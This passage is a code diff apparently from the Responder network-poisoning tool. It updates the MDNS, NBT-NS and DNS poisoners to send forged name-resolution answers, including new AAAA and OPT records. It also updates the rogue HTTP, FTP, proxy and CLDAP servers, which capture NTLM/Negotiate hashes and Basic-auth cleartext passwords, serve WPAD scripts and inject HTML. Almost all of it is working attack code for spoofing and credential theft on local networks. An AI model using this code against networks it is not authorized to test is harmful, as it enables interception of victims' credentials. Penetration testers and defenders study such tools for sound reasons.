'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
|
||||
elif MDNSType == 'IPv6' and Have_IPv6: # Poisoning Mode
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
#Use default:
|
||||
if settings.Config.TTL == None:
|
||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
|
||||
else:
|
||||
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name, TTL= settings.Config.TTL)
|
||||
Buffer.calculate()
|
||||
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'MDNS6',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Request_Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
except:
|
||||
raise
|
||||
|
|
68
poisoners/NBTNS.py
Normal file → Executable file
68
poisoners/NBTNS.py
Normal file → Executable file
|
@ -14,7 +14,6 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import fingerprint
|
||||
import sys
|
||||
from packets import NBT_Ans
|
||||
from utils import *
|
||||
|
@ -24,59 +23,42 @@ if (sys.version_info > (3, 0)):
|
|||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
# Define what are we answering to.
|
||||
def Validate_NBT_NS(data):
|
||||
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
|
||||
return True
|
||||
elif settings.Config.NBTNSDomain:
|
||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
|
||||
return True
|
||||
elif settings.Config.Wredirect:
|
||||
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
|
||||
return True
|
||||
return False
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
|
||||
return None
|
||||
|
||||
data, socket = self.request
|
||||
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisHost(self.client_address[0], Name) is not True:
|
||||
return None
|
||||
|
||||
if data[2:4] == b'\x01\x10':
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
if data[2:4] == b'\x01\x10':
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'NBT-NS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '1',
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
Buffer1 = NBT_Ans()
|
||||
Buffer1.calculate(data)
|
||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
LineHeader = "[*] [NBT-NS]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
})
|
||||
else: # Poisoning Mode
|
||||
if settings.Config.TTL == None:
|
||||
Buffer1 = NBT_Ans()
|
||||
else:
|
||||
Buffer1 = NBT_Ans(TTL=settings.Config.TTL)
|
||||
Buffer1.calculate(data)
|
||||
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
|
||||
if not settings.Config.Quiet_Mode:
|
||||
LineHeader = "[*] [NBT-NS]"
|
||||
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
|
||||
SavePoisonersToDb({
|
||||
'Poisoner': 'NBT-NS',
|
||||
'SentToIp': self.client_address[0],
|
||||
'ForName': Name,
|
||||
'AnalyzeMode': '0',
|
||||
})
|
||||
})
|
||||
except:
|
||||
raise
|
||||
|
||||
if Finger is not None:
|
||||
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
|
||||
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
|
||||
|
|
2
requirements.txt
Normal file
2
requirements.txt
Normal file
|
@ -0,0 +1,2 @@
|
|||
aioquic
|
||||
netifaces>=0.10.4
|
|
@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
|
|||
Role = NBT_NS_Role(data[45:48])
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain)))
|
||||
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
|
||||
RAPInfo = RAPThisDomain(Client, Domain)
|
||||
if RAPInfo is not None:
|
||||
print(RAPInfo)
|
||||
|
@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
|
|||
|
||||
|
||||
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
|
||||
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2)))
|
||||
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
|
||||
RAPInfo = RAPThisDomain(Client, Domain)
|
||||
if RAPInfo is not None:
|
||||
print(RAPInfo)
|
||||
|
|
75
servers/DNS.py
Normal file → Executable file
75
servers/DNS.py
Normal file → Executable file
|
@ -15,43 +15,73 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
from packets import DNS_Ans, DNS_SRV_Ans
|
||||
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
#Should we answer to those AAAA?
|
||||
Have_IPv6 = settings.Config.IPv6
|
||||
|
||||
def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
OPT = data[len(data)-22:len(data)-20]
|
||||
if OPT == "\x00\x29":
|
||||
return "OPTIPv4"
|
||||
# If Type A, Class IN, then answer.
|
||||
if QueryTypeClass == "\x00\x01\x00\x01":
|
||||
elif QueryTypeClass == "\x00\x01\x00\x01":
|
||||
return "A"
|
||||
if QueryTypeClass == "\x00\x21\x00\x01":
|
||||
elif QueryTypeClass == "\x00\x21\x00\x01":
|
||||
return "SRV"
|
||||
elif QueryTypeClass == "\x00\x1c\x00\x01":
|
||||
return "IPv6"
|
||||
|
||||
|
||||
|
||||
class DNS(BaseRequestHandler):
|
||||
def handle(self):
|
||||
# Break out if we don't want to respond to this host
|
||||
# Ditch it if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
||||
try:
|
||||
data, soc = self.request
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
@ -65,19 +95,40 @@ class DNSTCP(BaseRequestHandler):
|
|||
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
|
||||
buff = DNS_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
|
||||
buff = DNS_SRV_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6" and Have_IPv6:
|
||||
buff = DNS6_Ans()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6" and Have_IPv6:
|
||||
buff = DNS6_AnsOPT()
|
||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
|
|
3
servers/FTP.py
Normal file → Executable file
3
servers/FTP.py
Normal file → Executable file
|
@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
|
|||
|
||||
if data[0:4] == b'PASS':
|
||||
Pass = data[5:].strip().decode("latin-1")
|
||||
|
||||
Packet = FTPPacket(Code="530",Message="User not logged in.")
|
||||
self.request.send(NetworkSendBufferPython2or3(Packet))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'FTP',
|
||||
|
@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
|
|||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
|
|
@ -86,16 +86,6 @@ def GrabCookie(data, host):
|
|||
return Cookie
|
||||
return False
|
||||
|
||||
def GrabHost(data, host):
|
||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Host : %s " % color(Host, 3)))
|
||||
return Host
|
||||
return False
|
||||
|
||||
def GrabReferer(data, host):
|
||||
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||
|
||||
|
@ -106,26 +96,9 @@ def GrabReferer(data, host):
|
|||
return Referer
|
||||
return False
|
||||
|
||||
def SpotFirefox(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
if UserAgent:
|
||||
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
|
||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||
if IsFirefox:
|
||||
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
|
||||
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad and SpotFirefox(data):
|
||||
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if Wpad and SpotFirefox(data) == False:
|
||||
if Wpad:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
@ -177,6 +150,7 @@ def GrabURL(data, host):
|
|||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client, Challenge):
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
|
||||
# Serve the .exe if needed
|
||||
|
@ -196,15 +170,14 @@ def PacketSequence(data, client, Challenge):
|
|||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
#Buffer_Ans.calculate(Buffer)
|
||||
Buffer_Ans.calculate()
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
|
@ -216,49 +189,82 @@ def PacketSequence(data, client, Challenge):
|
|||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return NetworkSendBufferPython2or3(Buffer)
|
||||
return Buffer
|
||||
|
||||
elif NTLM_Auth2:
|
||||
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
GrabURL(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
Buffer_Ans.calculate()
|
||||
return Buffer_Ans
|
||||
|
||||
if Packet_NTLM == b'\x03':
|
||||
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
|
||||
if IsWebDAV(data):
|
||||
module = "WebDAV"
|
||||
else:
|
||||
module = "HTTP"
|
||||
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return Buffer
|
||||
|
||||
elif Basic_Auth:
|
||||
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||
|
||||
GrabURL(data, client)
|
||||
GrabReferer(data, client)
|
||||
GrabHost(data, client)
|
||||
#GrabReferer(data, client)
|
||||
GrabCookie(data, client)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'type': 'Basic',
|
||||
'client': client,
|
||||
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||
'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0],
|
||||
'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1],
|
||||
})
|
||||
|
||||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client))
|
||||
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return WPAD_Custom
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return NetworkSendBufferPython2or3(Buffer)
|
||||
return Buffer
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
r = IIS_Basic_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Sending BASIC authentication request to %s" % client))
|
||||
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
Response = IIS_Auth_401_Ans()
|
||||
r = IIS_Auth_401_Ans()
|
||||
r.calculate()
|
||||
Response = r
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] Sending NTLM authentication request to %s" % client))
|
||||
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
return Response
|
||||
|
||||
|
@ -302,12 +308,13 @@ class HTTP(BaseRequestHandler):
|
|||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
self.request.close()
|
||||
if settings.Config.Verbose:
|
||||
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
|
||||
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
||||
except socket.error:
|
||||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
|
13
servers/HTTP_Proxy.py
Normal file → Executable file
13
servers/HTTP_Proxy.py
Normal file → Executable file
|
@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
rbufsize = 0
|
||||
|
||||
def handle(self):
|
||||
(ip, port) = self.client_address
|
||||
(ip, port) = self.client_address[0], self.client_address[1]
|
||||
if settings.Config.Verbose:
|
||||
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
|
||||
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
|
||||
self.__base_handle()
|
||||
|
||||
def _connect_to(self, netloc, soc):
|
||||
|
@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
|
||||
try:
|
||||
if self._connect_to(self.path, soc):
|
||||
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
|
||||
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
|
||||
self.wfile.write("\r\n")
|
||||
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
|
||||
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
|
||||
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
|
||||
try:
|
||||
self._read_write(soc, 300)
|
||||
except:
|
||||
pass
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
finally:
|
||||
|
@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
|
||||
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
|
||||
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
|
||||
print(text("[PROXY] Cookie : %s" % Cookie))
|
||||
|
||||
|
|
|
@ -25,9 +25,6 @@ import struct
|
|||
import codecs
|
||||
import random
|
||||
|
||||
def GenerateNetbiosName():
|
||||
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
||||
|
||||
def CalculateDNSName(name):
|
||||
if isinstance(name, bytes):
|
||||
name = name.decode('latin-1')
|
||||
|
@ -41,14 +38,13 @@ def CalculateDNSName(name):
|
|||
return Dnslen, DomainPrefix
|
||||
|
||||
def ParseCLDAPNetlogon(data):
|
||||
#data = NetworkSendBufferPython2or3(data)
|
||||
try:
|
||||
Dns = data.find(b'DnsDomain')
|
||||
if Dns is -1:
|
||||
if Dns == -1:
|
||||
return False
|
||||
DnsName = data[Dns+9:]
|
||||
DnsGuidOff = data.find(b'DomainGuid')
|
||||
if DnsGuidOff is -1:
|
||||
if DnsGuidOff == -1:
|
||||
return False
|
||||
Guid = data[DnsGuidOff+10:]
|
||||
if Dns:
|
||||
|
@ -66,20 +62,24 @@ def ParseCLDAPNetlogon(data):
|
|||
def ParseSearch(data):
|
||||
TID = data[8:9].decode('latin-1')
|
||||
if re.search(b'Netlogon', data):
|
||||
NbtName = GenerateNetbiosName()
|
||||
NbtName = settings.Config.MachineName
|
||||
TID = NetworkRecvBufferPython2or3(data[8:10])
|
||||
if TID[1] == "\x63":
|
||||
TID = "\x00"+TID[0]
|
||||
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
|
||||
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
|
||||
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
|
||||
t.calculate()
|
||||
return str(t)
|
||||
|
||||
if re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||
if re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
|
||||
|
||||
elif re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
|
||||
|
||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
|
@ -143,9 +143,10 @@ def ParseNTLM(data,client, Challenge):
|
|||
|
||||
def ParseCLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[10:11]
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
if Operation == b'\x84':
|
||||
Operation = data[9:10]
|
||||
sasl = data[20:21]
|
||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
@ -172,10 +173,11 @@ def ParseCLDAPPacket(data, client, Challenge):
|
|||
|
||||
elif Operation == b'\x63':
|
||||
Buffer = ParseSearch(data)
|
||||
print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:","")))
|
||||
return Buffer
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print(text('[LDAP] Operation not supported'))
|
||||
print(text('[CLDAP] Operation not supported'))
|
||||
|
||||
if data[5:6] == b'\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
|
@ -183,7 +185,7 @@ def ParseCLDAPPacket(data, client, Challenge):
|
|||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||
print(text('[CLDAP] Attempting to parse an old simple Bind request.'))
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
|
